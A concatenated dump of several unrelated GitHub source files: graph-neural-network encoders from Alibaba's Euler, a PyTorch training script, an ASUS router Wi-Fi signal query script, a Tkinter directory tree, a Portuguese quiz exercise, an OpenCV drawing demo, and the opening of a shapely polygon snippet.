euler_ops.sample_fanout(\n inputs, self.metapath, self.fanouts,\n default_node=self._max_id + 1)[0]\n hidden = [self.node_encoder(sample) for sample in samples]\n for layer in range(self.num_layers):\n aggregator = self.aggregators[layer]\n next_hidden = []\n for hop in range(self.num_layers - layer):\n neigh_shape = [-1, self.fanouts[hop], self.dims[layer]]\n h = aggregator((hidden[hop],\n tf.reshape(hidden[hop + 1],\n neigh_shape)))\n next_hidden.append(h)\n hidden = next_hidden\n output_shape = inputs.shape.concatenate(self.dims[-1])\n output_shape = [d if d is not None else -1\n for d in output_shape.as_list()]\n return tf.reshape(hidden[0], output_shape)\n\n\nclass ShuffleSageEncoder(SageEncoder):\n '''\n Shuffle node features before aggregating\n Used in DGI models\n '''\n\n def shuffle_tensors(self, inputs):\n '''\n inputs : A list of Tensors of 2-rank. [[n1,d], [n2,d], ...]\n return the shuffle res, with the same shape with inputs.\n '''\n real_batch_size = tf.shape(inputs[0])[0]\n real_dim = tf.shape(inputs[0])[1]\n shuffle_res = tf.reshape(tf.transpose(tf.random_shuffle(\n tf.transpose(tf.concat([tf.reshape(v,\n [real_batch_size, -1, real_dim])\n for v in inputs], 1),\n perm=[1, 0, 2])), perm=[1, 0, 2]), [-1, real_dim])\n return tf.split(shuffle_res, [tf.shape(v)[0] for v in inputs], 0)\n\n def agg(self, inputs, samples, shuffle):\n hidden = [self.node_encoder(sample) for sample in samples]\n if shuffle:\n hidden = self.shuffle_tensors(hidden)\n for layer in range(self.num_layers):\n aggregator = self.aggregators[layer]\n next_hidden = []\n for hop in range(self.num_layers - layer):\n neigh_shape = [-1, self.fanouts[hop], self.dims[layer]]\n h = aggregator((hidden[hop],\n tf.reshape(hidden[hop + 1],\n neigh_shape)))\n next_hidden.append(h)\n hidden = next_hidden\n output_shape = inputs.shape.concatenate(self.dims[-1])\n output_shape = [d if d is not None else -1\n for d in output_shape.as_list()]\n return tf.reshape(hidden[0], output_shape)\n\n def call(self, inputs):\n samples = euler_ops.sample_fanout(\n inputs, self.metapath, self.fanouts,\n default_node=self._max_id + 1)[0]\n h = self.agg(inputs, samples, False)\n h_neg = self.agg(inputs, samples, True)\n return [h, h_neg]\n\n\nclass SageEncoderNew(SageEncoder):\n def __init__(self, metapath, fanouts, dim,\n aggregator='mean', concat=False, shared_aggregators=None,\n feature_idx=-1, feature_dim=0, max_id=-1,\n use_feature=None, use_id=None,\n sparse_feature_idx=-1, sparse_feature_max_id=-1,\n embedding_dim=16, use_hash_embedding=False,\n shared_node_encoder=None, use_residual=False,\n shared_embedding_layers=None, **kwargs):\n super(SageEncoder, self).__init__(**kwargs)\n if len(metapath) != len(fanouts):\n raise ValueError('Len of metapath must be the same as fanouts.')\n if use_feature is not None or use_id is not None:\n tf.logging.warning('use_feature is deprecated '\n 'and would not have any effect.')\n self.metapath = metapath\n self.fanouts = fanouts\n self.num_layers = len(metapath)\n self.concat = concat\n self.feature_dim = feature_dim\n self.sparse_feature_idx = sparse_feature_idx\n self.sparse_feature_max_id = sparse_feature_max_id\n self.use_hash_embedding = use_hash_embedding\n self.embedding_dim = embedding_dim\n\n if shared_node_encoder:\n self._node_encoder = shared_node_encoder\n else:\n self._node_encoder = ShallowEncoder(\n feature_idx=feature_idx, feature_dim=feature_dim,\n max_id=max_id if use_id else -1,\n sparse_feature_idx=sparse_feature_idx,\n sparse_feature_max_id=sparse_feature_max_id,\n embedding_dim=embedding_dim,\n use_hash_embedding=use_hash_embedding)\n\n layer0_dim = self._node_encoder.output_dim\n self.dims = [layer0_dim] + [dim] * self.num_layers\n if shared_aggregators is not None:\n self.aggregators = shared_aggregators\n else:\n self.aggregators = self.create_aggregators(\n dim, self.num_layers, aggregator, concat=concat)\n self._max_id = max_id\n self.sparse_embeddings = shared_embedding_layers\n\n def call(self, inputs):\n default_values = [feature_dim + 1\n for feature_dim in self.sparse_feature_max_id]\n samples, _, _, _, features = euler_ops.sample_fanout_with_feature(\n inputs, self.metapath, self.fanouts,\n default_node=self._max_id + 1,\n dense_feature_names=[],\n dense_dimensions=[],\n sparse_feature_names=self.sparse_feature_idx,\n sparse_default_values=default_values)\n\n f_num = len(self.sparse_feature_idx)\n hidden = []\n for layer in range(self.num_layers+1):\n embeddings = [\n sparse_embedding(sparse_feature)\n for sparse_embedding, sparse_feature, s_max_id\n in zip(self.sparse_embeddings,\n features[layer * f_num: (layer + 1) * f_num],\n self.sparse_feature_max_id)]\n embedding = tf.concat(embeddings, -1)\n emb_shape = [-1, self.embedding_dim * f_num]\n hidden.append(tf.reshape(embedding, emb_shape))\n for layer in range(self.num_layers):\n aggregator = self.aggregators[layer]\n next_hidden = []\n for hop in range(self.num_layers - layer):\n neigh_shape = [-1, self.fanouts[hop], self.dims[layer]]\n h = aggregator((hidden[hop],\n tf.reshape(hidden[hop + 1],\n neigh_shape)))\n next_hidden.append(h)\n hidden = next_hidden\n output_shape = inputs.shape.concatenate(self.dims[-1])\n output_shape = [d if d is not None else -1\n for d in output_shape.as_list()]\n return tf.reshape(hidden[0], output_shape)\n\n\nclass ScalableSageEncoder(SageEncoder):\n \"\"\"\n GraphSage style node encoder using store to accelerate training.\n \"\"\"\n\n def __init__(self, edge_type, fanout, num_layers, dim,\n aggregator='mean', concat=False, shared_aggregators=None,\n feature_idx=-1, feature_dim=0, max_id=-1,\n use_feature=True, use_id=False,\n sparse_feature_idx=-1, sparse_feature_max_id=-1,\n embedding_dim=16, use_hash_embedding=False,\n shared_node_encoder=None, use_residual=False,\n store_learning_rate=0.001, store_init_maxval=0.05, **kwargs):\n metapath = [edge_type] * num_layers\n fanouts = [fanout] * num_layers\n super(ScalableSageEncoder, self).__init__(\n metapath, fanouts, dim, aggregator, concat, shared_aggregators,\n feature_idx, feature_dim, max_id, use_feature, use_id,\n sparse_feature_idx, sparse_feature_max_id,\n embedding_dim, use_hash_embedding,\n shared_node_encoder, use_residual,\n **kwargs)\n self.edge_type = edge_type\n self.fanout = fanout\n self.max_id = max_id\n self.store_learning_rate = store_learning_rate\n self.store_init_maxval = store_init_maxval\n\n def build(self, input_shape):\n self.stores = [\n tf.get_variable('store_layer_{}'.format(i),\n [self.max_id + 2, dim],\n initializer=tf.random_uniform_initializer(\n maxval=self.store_init_maxval, seed=1),\n trainable=False,\n collections=[tf.GraphKeys.LOCAL_VARIABLES])\n for i, dim in enumerate(self.dims[1: -1], 1)]\n self.gradient_stores = [\n tf.get_variable('gradient_store_layer_{}'.format(i),\n [self.max_id + 2, dim],\n initializer=tf.zeros_initializer(),\n trainable=False,\n collections=[tf.GraphKeys.LOCAL_VARIABLES])\n for i, dim in enumerate(self.dims[1: -1], 1)]\n self.store_optimizer = tf.train.AdamOptimizer(self.store_learning_rate)\n\n def call(self, inputs, training=None):\n if not training:\n return super(ScalableSageEncoder, self).call(inputs)\n\n node, neighbor = samples = euler_ops.sample_fanout(\n inputs, [self.edge_type], [self.fanout],\n default_node=self.max_id + 1)[0]\n node_embedding, neigh_embedding = [self.node_encoder(sample)\n for sample in samples]\n\n node_embeddings = []\n neigh_embeddings = []\n for layer in range(self.num_layers):\n aggregator = self.aggregators[layer]\n\n neigh_shape = [-1, self.fanout, self.dims[layer]]\n neigh_embedding = tf.reshape(neigh_embedding, neigh_shape)\n node_embedding = aggregator((node_embedding, neigh_embedding))\n node_embeddings.append(node_embedding)\n\n if layer < self.num_layers - 1:\n neigh_embedding = \\\n tf.nn.embedding_lookup(self.stores[layer], neighbor)\n neigh_embeddings.append(neigh_embedding)\n\n self.update_store_op = self._update_store(node, node_embeddings)\n store_loss, self.optimize_store_op = \\\n self._optimize_store(node, node_embeddings)\n self.get_update_gradient_op = lambda loss: \\\n self._update_gradient(loss + store_loss,\n neighbor,\n neigh_embeddings)\n\n output_shape = inputs.shape.concatenate(node_embedding.shape[-1])\n output_shape = [d if d is not None else -1\n for d in output_shape.as_list()]\n return tf.reshape(node_embedding, output_shape)\n\n def _update_store(self, node, node_embeddings):\n update_ops = []\n for store, node_embedding in zip(self.stores, node_embeddings):\n update_ops.append(\n utils_embedding.embedding_update(store, node, node_embedding))\n return tf.group(*update_ops)\n\n def _update_gradient(self, loss, neighbor, neigh_embeddings):\n update_ops = []\n for gradient_store, neigh_embedding in zip(self.gradient_stores,\n neigh_embeddings):\n embedding_gradient = tf.gradients(loss, neigh_embedding)[0]\n update_ops.append(\n utils_embedding.embedding_add(gradient_store,\n neighbor, embedding_gradient))\n return tf.group(*update_ops)\n\n def _optimize_store(self, node, node_embeddings):\n if not self.gradient_stores:\n return tf.zeros([]), tf.no_op()\n\n losses = []\n clear_ops = []\n for gradient_store, node_embedding in zip(self.gradient_stores,\n node_embeddings):\n embedding_gradient = tf.nn.embedding_lookup(gradient_store, node)\n with tf.control_dependencies([embedding_gradient]):\n clear_ops.append(\n utils_embedding.embedding_update(\n gradient_store, node,\n tf.zeros_like(embedding_gradient)))\n losses.append(tf.reduce_sum(node_embedding * embedding_gradient))\n\n store_loss = tf.add_n(losses)\n with tf.control_dependencies(clear_ops):\n return store_loss, self.store_optimizer.minimize(store_loss)\n\n\nclass LayerEncoder(SageEncoder):\n def agg(self, inputs):\n use_att = True\n use_group = False\n group_num = 5\n seq_len = tf.shape(inputs)[1]\n split_size = [seq_len // group_num] * (group_num - 1) + [-1]\n group_values = tf.split(inputs, split_size, 1)\n group_hidden = tf.concat([tf.expand_dims(tf.reduce_sum(i, 1), 1)\n for i in group_values], 1)\n rank = inputs.shape.ndims\n if rank == 2:\n return inputs\n if use_att:\n att_layer = layers.AttLayer(\n self.feature_dim, hidden_dim=[128], head_num=[2, 2])\n if use_group:\n return att_layer(group_hidden)\n else:\n return att_layer(inputs)\n return tf.reduce_mean(inputs, axis=1)\n\n def call(self, inputs):\n samples = euler_ops.sample_fanout(\n inputs, self.metapath, self.fanouts, default_node=0)[0]\n hidden = [self.node_encoder(sample) for sample in samples]\n hidden = self.layerwise_embed(hidden)\n output = self.fm(hidden)\n\n output_shape = inputs.shape.concatenate(self.dims[-1])\n output_shape = [d if d is not None else -1\n for d in output_shape.as_list()]\n return tf.reshape(output, output_shape)\n\n def layerwise_embed(self, hidden):\n fanouts = [self.fanouts[0]]\n for factor in self.fanouts[1:]:\n val = fanouts[-1] * factor\n fanouts += [val]\n\n for i in range(1, len(hidden)):\n node = hidden[i]\n agg_dim = fanouts[i-1]\n shape = [-1, agg_dim, self.feature_dim]\n hidden[i] = self.agg(tf.reshape(node, shape))\n return hidden\n\n def fc(self, hidden):\n fc = tf.concat(hidden, 1)\n ld = layers.Dense(self.dims[-1], activation=tf.nn.relu, use_bias=True)\n return ld(fc)\n\n def fm(self, hidden):\n o = len(hidden)\n for i in range(1, o):\n comb = tf.multiply(hidden[0], hidden[i])\n hidden += [comb]\n fc = tf.concat(hidden, 1)\n ld = layers.Dense(self.dims[-1], activation=tf.nn.relu, use_bias=True)\n return ld(fc)\n\n def att(self, hidden):\n hidden = [tf.expand_dims(h, 1) for h in hidden]\n seq = tf.concat(hidden, 1)\n print ('seq shape:', seq.shape)\n att_layer = layers.AttLayer(self.dims[-1],\n hidden_dim=[128],\n head_num=[2, 1])\n return att_layer(seq)\n\n def sage(self, hidden):\n for layer in reversed(range(self.num_layers)):\n aggregator = self.aggregators[layer]\n h = aggregator((hidden[layer], hidden[layer + 1]))\n hidden[layer] = h\n return hidden[0]\n\n\nclass SparseSageEncoder(SageEncoder):\n \"\"\"\n \"\"\"\n\n @staticmethod\n def create_sparse_embeddings(feature_dims):\n sparse_embeddings = [\n layers.SparseEmbedding(feature_dim + 1, 16)\n for feature_dim in feature_dims\n ]\n return sparse_embeddings\n\n def __init__(self, metapath, fanouts, dim,\n feature_ixs, feature_dims, shared_embeddings=None,\n aggregator='mean', concat=False, shared_aggregators=None,\n **kwargs):\n super(SparseSageEncoder, self).__init__(\n metapath, fanouts, dim,\n aggregator=aggregator, concat=concat,\n shared_aggregators=shared_aggregators,\n use_feature=False, use_id=False)\n self.feature_ixs = feature_ixs\n self.feature_dims = feature_dims\n self.dims[0] = 16 * len(feature_ixs)\n\n if shared_embeddings is not None:\n self.sparse_embeddings = shared_embeddings\n else:\n self.sparse_embeddings = \\\n self.create_sparse_embeddings(feature_dims)\n\n def node_encoder(self, inputs):\n default_values = [feature_dim + 1 for feature_dim in self.feature_dims]\n features = euler_ops.get_sparse_feature(\n inputs, self.feature_ixs, default_values)\n embeddings = [\n sparse_embedding(feature)\n for sparse_embedding, feature in zip(self.sparse_embeddings,\n features)\n ]\n return tf.concat(embeddings, 1)\n\n\nclass LGCEncoder(layers.Layer):\n \"\"\"\n Large-Scale Learnable Graph Convolutional Networks\n (https://arxiv.org/pdf/1808.03965.pdf)\n \"\"\"\n def __init__(self,\n edge_type=[0],\n feature_idx=-1,\n feature_dim=0,\n k=3,\n hidden_dim=128,\n nb_num=10,\n out_dim=64,\n **kwargs):\n super(LGCEncoder, self).__init__(**kwargs)\n self.edge_type = edge_type\n self.feature_idx = feature_idx\n self.feature_dim = feature_dim\n self.k = k\n self.hidden_dim = hidden_dim\n self.out_dim = out_dim\n self.nb_num = nb_num\n\n def call(self, inputs):\n batch_size = tf.shape(inputs)[0]\n neighbors = euler_ops.sample_neighbor(\n inputs, self.edge_type, self.nb_num)[0]\n node_feats = euler_ops.get_dense_feature(\n tf.reshape(inputs, [-1]),\n [self.feature_idx],\n [self.feature_dim])[0]\n neighbor_feats = euler_ops.get_dense_feature(\n tf.reshape(neighbors, [-1]),\n [self.feature_idx],\n [self.feature_dim])[0]\n node_feats = tf.reshape(node_feats, [batch_size, 1, self.feature_dim])\n neighbor_feats = tf.reshape(\n neighbor_feats, [batch_size, self.nb_num, self.feature_dim])\n nbs = tf.concat([node_feats, neighbor_feats], 1)\n topk, _ = tf.nn.top_k(tf.transpose(neighbor_feats, [0, 2, 1]),\n k=self.k)\n topk = tf.transpose(topk, [0, 2, 1])\n topk = tf.concat([node_feats, topk], 1)\n hidden = tf.layers.conv1d(topk,\n self.hidden_dim,\n self.k // 2 + 1, use_bias=True)\n out = tf.layers.conv1d(hidden,\n self.out_dim,\n self.k // 2 + 1, use_bias=True)\n out = tf.slice(out, [0, 0, 0], [batch_size, 1, self.out_dim])\n return tf.reshape(out, [batch_size, self.out_dim])\n","repo_name":"alibaba/euler","sub_path":"tf_euler/python/utils/encoders.py","file_name":"encoders.py","file_ext":"py","file_size_in_byte":38583,"program_lang":"python","lang":"en","doc_type":"code","stars":2865,"dataset":"github-code","pt":"47"} +{"seq_id":"35690049672","text":"from torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\nfrom dataloader import DaconDataLoader\nfrom sklearn.metrics import f1_score\nfrom torchvision import transforms\nfrom arch import Architecture_tmp\nimport argparse\nimport os\nimport warnings\nimport torch\nimport torch.nn as nn\nimport numpy as np\n\n\nparser = argparse.ArgumentParser(description=\"DACON\")\n\nparser.add_argument('--mode', type=str, help='training and validation mode', default='train')\nparser.add_argument('--model_name', type=str, help='model name to be trained', default='resnet')\nparser.add_argument(\"--data_path\", type=str, help=\"image data path\", default=os.path.join(os.getcwd(), \"data\"))\n\n# Training\nparser.add_argument('--num_seed', type=int, help='random seed number', default=1)\nparser.add_argument('--batch_size', type=int, help='train batch size', default=8)\nparser.add_argument('--num_epochs', type=int, help='number of epochs', default=80)\nparser.add_argument('--learning_rate', type=float, help='initial learning rate', default=1e-4)\nparser.add_argument('--weight_decay', type=float, help='weight decay factor for optimization', default=1e-5)\nparser.add_argument('--retrain', type=bool, help='If used with checkpoint_path, will restart training from step zero', default=False)\nparser.add_argument('--do_eval', type=bool, help='Mod to evaluating the training model', default=False)\n\n# Preprocessing\nparser.add_argument('--random_rotate', type=bool, help='if set, will perform random rotation for augmentation', default=False)\nparser.add_argument('--degree', type=float, help='random rotation maximum degree', default=2.5)\n\n# Log and save\nparser.add_argument('--checkpoint_path', type=str, help='path to a specific checkpoint to load', default='')\nparser.add_argument('--log_directory', type=str, help='directory to save checkpoints and summaries', default=os.path.join(os.getcwd(), 'log'))\nparser.add_argument('--log_freq', type=int, help='Logging frequency in global steps', default=100)\nparser.add_argument('--save_freq', type=int, help='Checkpoint saving frequency in global steps', default=500)\n\n# Multi-gpu training\nparser.add_argument('--gpu', type=int, help='GPU id to use', default=0)\nparser.add_argument('--rank', type=int, help='node rank(tensor dimension)for distributed training', default=0)\nparser.add_argument('--dist_url', type=str, help='url used to set up distributed training', default='file:///c:/MultiGPU.txt')\nparser.add_argument('--dist_backend', type=str, help='distributed backend', default='gloo')\nparser.add_argument('--num_threads', type=int, help='number of threads to use for data loading', default=5)\nparser.add_argument('--world_size', type=int, help='number of nodes for distributed training', default=1)\nparser.add_argument('--multiprocessing_distributed', help='Use multi-processing distributed training to launch '\n 'N process per node, which has N GPUs. '\n 'This is the fastest way to use PyTorch for either single node or '\n 'multi node data parallel training', default=False)\n\nargs = parser.parse_args()\n\ninv_normalize = transforms.Normalize(\n mean=[-0.485/0.229, -0.456/0.224, -0.406/0.225],\n std=[1/0.229, 1/0.224, 1/0.225]\n)\n\n\ndef compute_score(label, prediction):\n label = label.detach().cpu().numpy()\n prediction = prediction.argmax(1).detach().cpu().numpy()\n \n return f1_score(label, prediction, average=\"macro\")\n\ndef validate_model(validation_data, model, criterion):\n total_valid_loss = 0\n valid_label_list = []\n valid_output_list = []\n with torch.no_grad():\n for valid_batched in tqdm(validation_data):\n valid_image = valid_batched[\"image\"].cuda(args.gpu, non_blocking=True)\n valid_label = valid_batched[\"label\"].cuda(args.gpu, non_blocking=True)\n\n prediction = model(valid_image)\n model.eval()\n valid_loss = criterion(prediction, valid_label)\n\n total_valid_loss += valid_loss\n \n valid_label_list += valid_label.detach().cpu().numpy().tolist()\n valid_output_list += prediction.argmax(1).detach().cpu().numpy().tolist()\n \n avg_valid_loss = total_valid_loss / len(validation_data)\n valid_f1 = f1_score(valid_label_list, valid_output_list, average=\"macro\")\n\n return avg_valid_loss, valid_f1\n\ndef main():\n # make direcotry\n command = \"mkdir \" + os.path.join(args.log_directory, args.model_name, \"model\")\n os.system(command)\n\n warnings.filterwarnings('ignore')\n # gpu setting\n torch.cuda.empty_cache()\n main_worker()\n\ndef main_worker():\n if args.gpu is not None:\n print(\"Use GPU: {} for training\".format(args.gpu))\n \n dataloader = DaconDataLoader(args)\n\n model = Architecture_tmp(model_type=args.model_name, num_classes=6)\n model.train()\n model = torch.nn.DataParallel(model, device_ids=[args.gpu])\n model.to(f'cuda:{model.device_ids[0]}')\n # model.cuda()\n\n writer = SummaryWriter(log_dir=os.path.join(args.log_directory, args.model_name, 'summaries'), flush_secs=30)\n\n optimizer = torch.optim.Adam(model.parameters(), weight_decay=args.weight_decay, lr=args.learning_rate)\n criterion = nn.CrossEntropyLoss().cuda(args.gpu)\n \n global_step = 0\n steps_per_epoch = len(dataloader.training_data)\n epoch = global_step // steps_per_epoch\n \n while epoch < args.num_epochs:\n train_label_list = []\n train_output_list = []\n # for step, sample_batched in enumerate(zip(dataloader.training_data, dataloader.validation_data)):\n for step, train_batched in enumerate(dataloader.training_data):\n # train_batched, valid_batchead = sample_batched[0], sample_batched[1]\n\n optimizer.zero_grad()\n\n sample_image = train_batched[\"image\"].cuda(args.gpu, non_blocking=True)\n sample_label = train_batched[\"label\"].cuda(args.gpu, non_blocking=True)\n\n output = model(sample_image)\n loss = criterion(output, sample_label)\n loss.backward()\n\n for param_group in optimizer.param_groups:\n current_lr = args.learning_rate * ((1 - epoch / args.num_epochs) ** 0.9)\n param_group['lr'] = current_lr\n\n optimizer.step()\n\n train_f1 = compute_score(sample_label, output)\n print_string = \"[epoch][s/s_per_e/global_step]: [{}/{}][{}/{}/{}] | train loss: {:.5f} | train f1: {:.2f}\"\n print(print_string.format(epoch+1, args.num_epochs, step+1, steps_per_epoch, global_step+1, loss, train_f1))\n\n if (global_step + 1) % args.log_freq == 0:\n writer.add_scalar('learning_rate', current_lr, global_step)\n writer.add_scalar('loss', loss, global_step)\n writer.add_scalar(\"train F1 score\", train_f1, global_step)\n writer.add_image('input image/image/{}'.format(0), inv_normalize(sample_image[0, :]).data, global_step)\n\n writer.flush()\n global_step += 1\n \n valid_loss, valid_f1 = validate_model(dataloader.validation_data, model, criterion)\n writer.add_scalar(\"valid F1 score\", valid_f1, global_step)\n print_string = \"[epoch][s/s_per_e/global_step]: [{}/{}][{}/{}/{}] | train loss: {:.5f} | valid loss: {:.5f} | train f1: {:.3f} | valid f1: {:.3f}\"\n print(print_string.format(epoch+1, args.num_epochs, step+1, steps_per_epoch, global_step+1, loss, valid_loss, train_f1, valid_f1))\n\n # print(print_string.format(epoch+1, args.num_epochs, steps_per_epoch, global_step+1, valid_loss, valid_f1))\n \n checkpoint = {'global_step': global_step,\n 'model': model.state_dict(),\n 'optimizer': optimizer.state_dict()}\n torch.save(checkpoint, os.path.join(args.log_directory, args.model_name, 'model', 'model-{:07d}.pth'.format(global_step)))\n epoch += 1\n \nif __name__ == \"__main__\":\n main()","repo_name":"IncorlAI/disease_classification","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8571,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"2041818834","text":"import requests\nimport base64\nimport json\n\nasus_ip = \"192.168.50.1\" # IP of router/gateway\naccount = \"admin:opticalflow\"\n\nstring_bytes = account.encode('ascii')\nbase64_bytes = base64.b64encode(string_bytes)\nlogin = base64_bytes.decode('ascii')\n\nurl = 'http://{}/login.cgi'.format(asus_ip)\npayload = \"login_authorization=\" + login\nheaders = {\n 'user-agent': \"asusrouter-Android-DUTUtil-1.0.0.245\"\n}\nr = requests.post(url=url, data=payload, headers=headers)\ntoken = r.json()['asus_token']\nurl='http://{}/appGet.cgi'.format(asus_ip)\npayload = \"hook={}\".format('get_allclientlist()')\nheaders = {\n 'user-Agent': \"asusrouter-Android-DUTUtil-1.0.0.245\",\n 'cookie': 'asus_token={}'.format(token),\n}\nr = requests.post(url=url, data=payload, headers=headers)\nmeas = json.loads(r.text)\n\nrssi = meas['get_allclientlist']['3C:7C:3F:66:4E:C0']['5G']['60:AA:EF:46:47:18']['rssi']\n\nprint('rssi=', rssi, 'dBm')\n\n\n\n\n\n\n\n\n\n","repo_name":"felixvidarte/wifi_measurement","sub_path":"component/routerwifi.py","file_name":"routerwifi.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29429795452","text":"from tkinter import *\nfrom tkinter.ttk import *\nimport os\nimport string\n\n\nclass DirView(Treeview):\n def __init__(self, master):\n Treeview.__init__(self, master, show='tree', selectmode='browse')\n self.__prepare_images()\n self.pc_node = self.insert('', 'end',\n text=os.environ.get('COMPUTERNAME'),\n image=self.pc_image,\n open=False)\n for c in string.ascii_uppercase:\n disk = c + ':'\n if os.path.isdir(disk):\n drive_node = self.insert(self.pc_node, 'end',\n text=disk, image=self.drive_image)\n self.bind('<>', self.open_node)\n self.bind('<>', self.close_node)\n\n def close_node(self, event):\n focus = self.focus()\n for node in self.get_children(focus):\n children = self.get_children(node)\n for c in children:\n self.delete(c)\n\n def node_path(self, node):\n path = ''\n parent = node\n while parent:\n node_text = self.item(parent, 'text')\n if len(path) > 0:\n path = os.path.join(node_text, path)\n else:\n path = node_text\n parent = self.parent(parent)\n return path\n\n def current_path(self):\n current = self.focus()\n if current:\n return self.node_path(current)\n else:\n return None\n\n def insert_child_items(self, parent_node):\n path = self.node_path(parent_node)\n if os.path.isdir(path):\n try:\n dir_items = os.scandir(path)\n for item in dir_items:\n if item.is_dir() and ('.$'.find(item.name[0]) < 0):\n self.insert(parent_node, 'end', text=item.name, image=self.folder_image)\n except Exception as e:\n print(e)\n\n def open_node(self, event):\n focus = self.focus()\n for node in self.get_children(focus):\n self.insert_child_items(node)\n\n def __prepare_images(self):\n cur_path = os.path.abspath(os.path.dirname(__file__))\n self.pc_image = PhotoImage(file=cur_path + '\\\\images\\\\pc.png')\n self.drive_image = PhotoImage(file=cur_path + '\\\\images\\\\drive.png')\n self.folder_image = PhotoImage(file=cur_path + '\\\\images\\\\folder.png')\n self.file_image = PhotoImage(file=cur_path + '\\\\images\\\\file.png')","repo_name":"xueweiguo/TkinterPrimer","sub_path":"FileBrowser/DirView.py","file_name":"DirView.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"} +{"seq_id":"35383233652","text":"\n# Exercício - sistema de perguntas e respostas\n\n\nperguntas = [\n {\n 'Pergunta': 'Quanto é 2+2?',\n 'Opções': ['1', '3', '4', '5'],\n 'Resposta': '4',\n },\n {\n 'Pergunta': 'Quanto é 5*5?',\n 'Opções': ['25', '55', '10', '51'],\n 'Resposta': '25',\n },\n {\n 'Pergunta': 'Quanto é 10/2?',\n 'Opções': ['4', '5', '2', '1'],\n 'Resposta': '5',\n },\n]\n\n# -------------------------------------------MINHA RESOLUÇÂO-------------------------------------\nwhile True:\n acertos = 0\n erros = 0\n for pergunta in perguntas:\n indice = 1\n print(' ')\n print('Pergunta: ', pergunta['Pergunta'])\n print(' ')\n print('Opções: ')\n for opcao in pergunta['Opções']:\n print(f'{indice}) {opcao}')\n indice += 1\n resp = input('Resposta: ')\n if resp == pergunta['Resposta']:\n print('Acertou')\n acertos += 1\n else:\n print('ERROUU')\n erros += 1\n print('-------------------')\n\n print(f'Você ACERTOU: {acertos} e ERROU: {erros}')\n \n recomecar = input('Você quer recomecar? [s]im: ').lower()\n if recomecar == 's':\n continue\n else:\n print('FIM')\n break\n\n# -------------------------------------------OUTRA RESOLUÇÂO-------------------------------------\n# qtd_acertos = 0\n# for pergunta in perguntas:\n# print('Pergunta: ', pergunta['Pergunta'])\n# print()\n\n# opcoes = pergunta['Opções']\n# for i, opcao in enumerate(opcoes):\n# print(f'{i}) {opcao}')\n# print()\n\n# escolha = input('Escolha uma opção: ')\n\n# acertou = False\n# escolha_int = None\n# qtd_opcoes = len(opcoes)\n\n# if escolha.isdigit():\n# escolha_int = int(escolha)\n\n# if escolha_int is not None:\n# if escolha_int >= 0 and escolha_int < qtd_opcoes:\n# if opcoes[escolha_int] == pergunta['Resposta']:\n# acertou = True\n\n# print()\n# if acertou:\n# qtd_acertos += 1\n# print('Acertou')\n# else:\n# print('Errou')\n\n \n# print()\n\n# print(f'Você acertou {qtd_acertos}')\n# print(f'de {len(perguntas)} perguntas')","repo_name":"Pedro-Thomazi/exercicios-de-python","sub_path":"ex-pergunta-resposta.py","file_name":"ex-pergunta-resposta.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25535345322","text":"import cv2\nimport numpy as np\n\nrows = 400\ncols = 600\n\nblank = np.zeros((rows,cols,3), dtype='uint8')\ncv2.imshow('canvas', blank)\n\n# cols,rows cols,rows b,g,r\ncv2.rectangle(blank, (100,50), (500,100), (0,255,0), thickness=3)\ncv2.imshow('canvas', blank)\n\ncv2.circle(blank, (300,200), 50, (0,0,255), thickness=-1)\ncv2.imshow('canvas', blank)\n\ncv2.putText(blank, \"Welcome to SOMA\", (100,350), cv2.FONT_HERSHEY_COMPLEX, 1.5, (255,255,0), 2)\n\nalpha = 0.4\noverlay = blank.copy()\ncv2.putText(overlay, \"Welcome to SOMA\", (105,355), cv2.FONT_HERSHEY_COMPLEX, 1.5, (255,255,0), 2)\ncv2.addWeighted(overlay, alpha, blank, 1 - alpha, 0, blank)\ncv2.imshow('canvas', blank)\n\nprint('press any key on image...')\ncv2.waitKey()\n\n# pip install Pillow\nfrom PIL import ImageFont, ImageDraw, Image\n\ndef PutKRText(src, text, font_size, xy, bgr):\n fontpath = \"fonts/gulim.ttc\"\n # fontpath = \"fonts/batang.ttc\"\n font = ImageFont.truetype(fontpath, font_size)\n src_pil = Image.fromarray(src)\n draw = ImageDraw.Draw(src_pil)\n draw.text(xy, text, font=font, fill=bgr)\n target = np.array(src_pil)\n return target\n\n# https://pillow.readthedocs.io/en/stable/reference/ImageDraw.html\ndef PutKRTextBG(src, text, font_size, xy, bgr, bg_trans, bg_bgr):\n # make base canvas to write text in RGBA channel in Image data format\n base = Image.fromarray(src).convert(\"RGBA\")\n txt = Image.new(\"RGBA\", base.size, (255,255,255,0))\n\n fontpath = \"fonts/gulim.ttc\"\n # fontpath = \"fonts/batang.ttc\"\n font = ImageFont.truetype(fontpath, font_size)\n draw = ImageDraw.Draw(txt)\n \n trans_value = int(bg_trans * 255)\n text_width, text_height = draw.textsize(text, font=font)\n \n rec_pos = (xy, xy[0] + text_width, xy[1] + text_height)\n draw.rectangle(rec_pos, fill=(bg_bgr)+(trans_value,))\n draw.text(xy, text, font=font, fill=(bgr)+(trans_value,))\n\n out = Image.alpha_composite(base, txt)\n target = np.array(out)\n return target\n\n\nblank = PutKRText(blank, \"한글입력 테스트\", 44, (140,50), (255,255,255))\ncv2.imshow('canvas', blank)\nprint('press any key on image...')\ncv2.waitKey()\n\nblank = PutKRTextBG(blank, \"투명한글\", 44, (210,180), (255,255,255), 0.7, (255,0,255))\ncv2.imshow('canvas', blank)\ncv2.waitKey()\n","repo_name":"lovehyun/tutorial-opencv","sub_path":"4.draw/4.2.draw_trans.py","file_name":"4.2.draw_trans.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"42303570615","text":"from shapely.geometry import Polygon, MultiPolygon, mapping\nimport time\nimport sys\nimport json\n\n# https://shapely.readthedocs.io/en/stable/reference/shapely.union.html\n\n# expects array of SIMPLE POLYGON rings (without wrapper GEOJSON hash and without HOLES)\ndef 